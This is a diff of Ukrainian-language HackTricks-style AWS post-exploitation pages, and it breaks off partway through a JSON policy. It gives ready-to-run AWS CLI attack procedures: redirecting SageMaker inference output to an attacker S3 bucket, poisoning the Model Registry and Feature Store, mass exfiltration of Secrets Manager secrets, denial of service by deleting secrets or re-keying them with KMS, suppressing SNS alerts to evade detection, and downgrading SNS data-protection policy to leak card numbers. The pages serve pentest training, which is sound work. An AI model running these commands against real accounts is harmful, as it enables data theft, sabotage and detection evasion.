+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Спровокуйте асинхронний виклик і перевірте, що об'єкти потрапляють у S3 атакуючого
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Вплив
+- Перенаправляє асинхронні результати інференсу (та тіла помилок) в S3 під контролем атакуючого, що дозволяє приховано вивантажувати прогнози та потенційно чутливі вхідні/вихідні дані, які генерує контейнер, без зміни коду чи образу моделі та з мінімальним або відсутнім простоєм.
+
+
+## SageMaker Model Registry інжекція ланцюжка постачання через CreateModelPackage(Approved)
+
+Якщо атакуючий може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на контейнерний образ під контролем атакуючого, і одразу позначити її як Approved. Багато CI/CD конвеєрів автоматично розгортають Approved версії моделі на endpoints або training jobs, що призводить до виконання коду атакуючого під ролями виконання сервісу. Експозиція між акаунтами може посилюватися через ліберальну політику ресурсу ModelPackageGroup.
+
+### Вимоги
+- IAM (мінімум прав для отруєння існуючої групи): `sagemaker:CreateModelPackage` на цільовій ModelPackageGroup
+- Необов'язково (щоб створити групу, якщо її не існує): `sagemaker:CreateModelPackageGroup`
+- S3: доступ на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем атакуючого)
+- Ціль: Model Package Group, за яким downstream-автоматизація слідкує щодо Approved версій
+
+### Кроки
+1) Встановити регіон і створити/знайти цільову Model Package Group
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Підготуйте тестові дані моделі в S3
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Зареєструйте зловмисну (тут безпечну) Approved model package version, яка посилається на публічний AWS DLC image
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Перевірте, що нова версія Approved існує
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Вплив
+- Poison the Model Registry with an Approved version that references attacker-controlled code. Pipelines that auto-deploy Approved models may pull and run the attacker image, yielding code execution under endpoint/training roles.
+- With a permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy), this abuse can be triggered cross-account.
+
+## Feature store poisoning
+
+Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+Зловживання `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати живі значення ознак, які споживаються для online inference. У поєднанні з `sagemaker:GetRecord` зловмисник може прочитати чутливі ознаки. Для цього не потрібен доступ до models або endpoints.
+
+## Вимоги
+- Дозволи: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Ціль: Feature Group з увімкненим OnlineStore (зазвичай підтримує інференс у реальному часі)
+
+## Кроки
+1) Виберіть або створіть невелику Online Feature Group для тестування
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Вставити/перезаписати онлайн-запис (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Прочитайте запис, щоб підтвердити проведену маніпуляцію.
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+Очікувано: risk_score повертає 0.99 (attacker-set), що підтверджує можливість змінювати online features, які споживаються models.
+
+## Вплив
+- Real-time integrity attack: маніпулювати features, що використовуються production models, не торкаючись endpoints/models.
+- Ризик конфіденційності: читати чутливі features за допомогою GetRecord з OnlineStore.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Для отримання додаткової інформації див.:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Читання секретів
-
-Самі **секрети є чутливою інформацією**, [див. privesc сторінку](../aws-privilege-escalation/aws-secrets-manager-privesc.md), щоб дізнатися, як їх читати.
-
-### DoS — зміна значення секрету
-
-Змінивши значення секрету, ви можете **спровокувати DoS у всіх систем, що залежать від цього значення.**
-
-> [!WARNING]
-> Зауважте, що попередні значення також зберігаються, тому легко повернутися до попереднього значення.
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Зміна KMS key
-
-Якщо зловмисник має дозвіл secretsmanager:UpdateSecret, він може налаштувати секрет так, щоб використовувався KMS key, який належить зловмиснику. Цей ключ спочатку налаштований так, що будь-хто може отримати до нього доступ і використовувати його, тому оновлення секрету з новим ключем можливе. Якби ключ був недоступний, секрет оновити було б неможливо.
-
-Після зміни ключа для секрету зловмисник змінює конфігурацію свого ключа так, щоб доступ до нього мав лише він. Таким чином у наступних версіях секрету він буде зашифрований новим ключем, і оскільки доступу до нього не буде, можливість отримати секрет буде втрачено.
-
-Важливо зазначити, що ця недоступність виникне лише в пізніших версіях, після зміни вмісту секрету, оскільки поточна версія все ще зашифрована оригінальним KMS key.
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Deleting Secret
-
-Мінімальна кількість днів для видалення Secret — 7
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-Можна відновити секрет, що дозволяє відновлювати секрети, заплановані до видалення, оскільки мінімальний період видалення для секретів становить 7 днів, а максимальний — 30 днів. У поєднанні з дозволом secretsmanager:GetSecretValue це дає змогу отримати їхній вміст.
-
-Щоб відновити секрет, що перебуває в процесі видалення, можна використати наступну команду:
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-Ця дія дозволяє видалити resource policy, який контролює, хто може отримати доступ до секрету. Це може призвести до DoS, якщо resource policy був налаштований так, щоб дозволяти доступ певному набору користувачів.
-
-Щоб видалити resource policy:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-Стани секрету використовуються для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки, AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися, а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною.
-
-Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей ярлик на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть зазнати збою.
-
-AWSPREVIOUS не використовується автоматично. Однак якщо AWSCURRENT буде видалено або переназначено неправильно, може створитися враження, що все досі працює з попередньою версією.
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
-
-Зловживайте Secrets Manager BatchGetSecretValue API, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API в порівнянні з ітерацією GetSecretValue по кожному секрету. Якщо використовуються фільтри (tags/name), також потрібен дозвіл ListSecrets. CloudTrail все одно записує один GetSecretValue подію для кожного секрету, отриманого в батчі.
-
-Required permissions
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue для кожного цільового секрету
-- secretsmanager:ListSecrets якщо використовуються --filters
-- kms:Decrypt на CMKs, які використовуються секретами (якщо не використовується aws/secretsmanager)
-
-> [!WARNING]
-> Зауважте, що дозвіл `secretsmanager:BatchGetSecretValue` сам по собі недостатній для отримання секретів — вам також потрібен `secretsmanager:GetSecretValue` для кожного секрету, який ви хочете отримати.
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Експфільтрація за фільтрами (ключ/значення тегу або префікс імені)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-Обробка часткових збоїв
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-Наслідки
-- Швидке «smash-and-grab» багатьох секретів з меншою кількістю API викликів, що потенційно дозволяє обійти сповіщення, налаштовані на піки GetSecretValue.
-- Журнали CloudTrail все ще містять по одному запису GetSecretValue на кожен секрет, отриманий у пакеті.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md

@@ -0,0 +1,126 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Для додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Read Secrets
+
+The **secrets themselves are sensitive information**, [перегляньте сторінку privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) щоб дізнатися, як їх читати.
+
+### DoS Change Secret Value
+
+Змінивши значення secret, ви можете **DoS всі системи, які залежать від цього значення.**
+
+> [!WARNING]
+> Зауважте, що попередні значення також зберігаються, тому легко просто повернутися до попереднього значення.
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+Якщо у зловмисника є дозвіл secretsmanager:UpdateSecret, він може налаштувати secret так, щоб використовувався KMS key, що належить зловмиснику. Цей ключ спочатку налаштований таким чином, що будь-хто може отримати до нього доступ і використовувати його, тому оновлення secret з новим ключем можливе. Якби ключ був недоступний, secret не можна було б оновити.
+
+Після зміни ключа для secret зловмисник модифікує конфігурацію свого ключа так, щоб доступ мав лише він. Таким чином у наступних версіях secret він буде зашифрований новим ключем, і оскільки доступу до нього не буде, можливість отримати secret буде втрачено.
+
+Важливо зазначити, що ця недоступність виникне лише в пізніших версіях, після зміни вмісту secret, оскільки поточна версія усе ще зашифрована оригінальним KMS key.
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Deleting Secret
+
+Мінімальна кількість днів для видалення секрету — 7
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+Можна відновити секрет, що дозволяє відновлювати секрети, які були заплановані на видалення, оскільки мінімальний період видалення секретів становить 7 днів, а максимальний — 30 днів. Разом із дозволом secretsmanager:GetSecretValue це дає змогу отримати їхній вміст.
+
+Щоб відновити секрет, який перебуває у процесі видалення, ви можете використати таку команду:
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+Ця дія дозволяє видаляти політику ресурсу, яка контролює, хто може отримати доступ до секрету. Це може призвести до DoS, якщо політика ресурсу була налаштована так, щоб дозволяти доступ конкретному набору користувачів.
+
+Щоб видалити політику ресурсу:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+Стан секрету використовується для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки; AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися; а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною.
+
+Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей маркер на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть не працювати.
+
+AWSPREVIOUS не використовується автоматично. Однак якщо AWSCURRENT буде видалено або неправильно переназначено, може скластися враження, що все досі працює з попередньою версією.
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
+
+Зловживайте API Secrets Manager BatchGetSecretValue, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API порівняно з ітерацією GetSecretValue для кожного секрету. Якщо використовуються фільтри (tags/name), потрібен також дозвіл ListSecrets. CloudTrail все ще фіксує по одному GetSecretValue подію для кожного секрету, отриманого в батчі.
+
+Required permissions
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue for each target secret
+- secretsmanager:ListSecrets if using --filters
+- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
+
+> [!WARNING]
+> Зауважте, що дозвіл `secretsmanager:BatchGetSecretValue` сам по собі недостатній для отримання секретів — вам також потрібен `secretsmanager:GetSecretValue` для кожного секрету, який ви хочете отримати.
+
+Exfiltrate by explicit list
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate за фільтрами (ключ/значення тегу або префікс імені)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+Обробка часткових збоїв
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+Вплив
+- Швидкий “smash-and-grab” багатьох секретів з меншою кількістю API-запитів, потенційно обходячи оповіщення, налаштовані на сплески GetSecretValue.
+- Журнали CloudTrail все ще містять по одній GetSecretValue-події на кожен секрет, отриманий у пакеті.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md

@@ -1,13 +1,13 @@
-# AWS - SES Постексплуатація
+# AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
-Для отримання додаткової інформації перегляньте:
+Для отримання додаткової інформації див.:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -25,39 +25,45 @@ aws sesv2 send-email --from sender@example.com --destination file://emails.json
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
+Ще потрібно протестувати.
+
 ### `ses:SendTemplatedEmail`
 
 Надіслати електронний лист на основі шаблону.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
+Ще потрібно протестувати.
+
 ### `ses:SendBulkTemplatedEmail`
 
-Надіслати електронний лист на кілька адрес
+Надіслати електронний лист кільком адресатам
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
-Ще потрібно протестувати.
+Ще не протестовано.
 
 ### `ses:SendBulkEmail`
 
-Надіслати електронний лист на кілька адрес.
+Відправити електронний лист кільком адресатам.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Відправити **повернуте повідомлення** на отримане електронне повідомлення (вказуючи, що електронне повідомлення не може бути отримано). Це можна зробити **протягом 24 годин після отримання** електронного повідомлення.
+Надіслати **повідомлення про недоставку (bounce email)** щодо отриманого листа (вказуючи, що лист не був доставлений). Це можна зробити лише **протягом 24 годин після отримання** листа.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
+Ще потрібно протестувати.
+
 ### `ses:SendCustomVerificationEmail`
 
-Це надішле налаштований лист для підтвердження. Вам можуть знадобитися дозволи також для створення шаблону листа.
+Це надішле налаштований лист підтвердження. Також може знадобитися дозвіл для створення шаблону листа.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
 Ще потрібно протестувати.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -1,68 +0,0 @@
-# AWS - SNS Постексплуатація
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Для отримання додаткової інформації:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Порушити Повідомлення
-
-У кількох випадках теми SNS використовуються для надсилання повідомлень на платформи, які моніторяться (електронні листи, повідомлення в slack...). Якщо зловмисник запобігає надсиланню повідомлень, які сповіщають про його присутність у хмарі, він може залишитися непоміченим.
-
-### `sns:DeleteTopic`
-
-Зловмисник може видалити цілу тему SNS, що призведе до втрати повідомлень і вплине на програми, які покладаються на цю тему.
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що використовують видалену тему.
-
-### `sns:Publish`
-
-Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати ненавмисні дії або виснажити ресурси.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Потенційний вплив**: Пошкодження даних, ненавмисні дії або виснаження ресурсів.
-
-### `sns:SetTopicAttributes`
-
-Зловмисник може змінити атрибути теми SNS, що потенційно вплине на її продуктивність, безпеку або доступність.
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**Потенційний вплив**: Неправильні налаштування, що призводять до зниження продуктивності, проблем з безпекою або зменшення доступності.
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-Зловмисник може підписатися або відписатися від теми SNS, потенційно отримуючи несанкціонований доступ до повідомлень або порушуючи нормальне функціонування додатків, що покладаються на цю тему.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**Потенційний вплив**: Неавторизований доступ до повідомлень, порушення роботи для додатків, що залежать від ураженої теми.
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-Зловмисник може надати неавторизованим користувачам або сервісам доступ до теми SNS або відкликати дозволи для законних користувачів, що призведе до порушень у нормальному функціонуванні додатків, які залежать від теми.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**Потенційний вплив**: Несанкціонований доступ до теми, витік повідомлень або маніпуляція темою з боку несанкціонованих користувачів або сервісів, порушення нормального функціонування для додатків, що покладаються на тему.
-
-### `sns:TagResource` , `sns:UntagResource`
-
-Зловмисник може додавати, змінювати або видаляти теги з ресурсів SNS, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md

@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Для додаткової інформації:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Перешкоджання повідомленням
+
+У деяких випадках SNS topics використовуються для відправлення повідомлень на платформи, які моніторяться (електронні листи, slack messages...). Якщо нападник перешкодить надсиланню повідомлень, що сповіщають про його присутність у хмарі, він може залишитися непоміченим.
+
+### `sns:DeleteTopic`
+
+Атакувальник може видалити цілий SNS topic, що призведе до втрати повідомлень і вплине на додатки, які залежать від цієї теми.
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Potential Impact**: Втрати повідомлень та порушення роботи сервісу для застосунків, що використовують видалену тему.
+
+### `sns:Publish`
+
+Зловмисник міг би надсилати шкідливі або небажані повідомлення у SNS topic, що може спричинити пошкодження даних, ініціювання небажаних дій або виснаження ресурсів.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Потенційний вплив**: Пошкодження даних, небажані дії або виснаження ресурсів.
+
+### `sns:SetTopicAttributes`
+
+attacker може змінити атрибути SNS topic, що потенційно вплине на його продуктивність, безпеку або доступність.
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**Potential Impact**: Неправильні конфігурації, що призводять до зниження продуктивності, проблем із безпекою або зменшення доступності.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+Зловмисник може підписатися або відписатися від SNS topic, потенційно отримавши несанкціонований доступ до повідомлень або порушивши нормальну роботу додатків, що покладаються на цей SNS topic.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**Potential Impact**: Несанкціонований доступ до повідомлень та збої в роботі додатків, які залежать від ураженої теми.
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+Зловмисник може надати неавторизованим користувачам або сервісам доступ до SNS-теми або відкликати дозволи у легітимних користувачів, що спричинить порушення нормального функціонування додатків, які покладаються на цю тему.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Potential Impact**: Несанкціонований доступ до теми, розкриття повідомлень або маніпуляції з темою з боку неавторизованих користувачів або сервісів, порушення нормальної роботи додатків, які покладаються на цю тему.
+
+### `sns:TagResource` , `sns:UntagResource`
+
+Зловмисник може додавати, змінювати або видаляти теги в ресурсах SNS, що порушить розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу на основі тегів.
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
+
+### Додаткові SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md

@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection Bypass via Policy Downgrade
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Якщо у вас є `sns:PutDataProtectionPolicy` на темі, ви можете переключити її Message Data Protection policy з Deidentify/Deny на Audit-only (або видалити Outbound controls), тож чутливі значення (наприклад, номери кредитних карт) будуть доставлені без змін до вашої підписки.
+
+## Вимоги
+- Права на цільову тему для виклику `sns:PutDataProtectionPolicy` (і зазвичай `sns:Subscribe`, якщо ви хочете отримувати дані).
+- Стандартна тема SNS (Message Data Protection підтримується).
+
+## Кроки атаки
+
+- Змінні
+
+```bash
+REGION=us-east-1
+```
+
+1) Create a standard topic and an attacker SQS queue, and allow only this topic to send to the queue
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Attach a data protection policy that masks credit card numbers on outbound messages
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) Subscribe attacker queue and publish a message with a test CC number, verify masking
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+Очікуваний фрагмент показує маскування (хеші):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Знизьте рівень політики до Audit-only (без deidentify/deny заяв, що впливають на Outbound)
+
+Для SNS, Audit-заяви мають бути Inbound. Замінюючи політику на Audit-only Inbound-заяву, ви усуваєте будь-яку Outbound de-identification, тож повідомлення надходять до підписників без змін.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
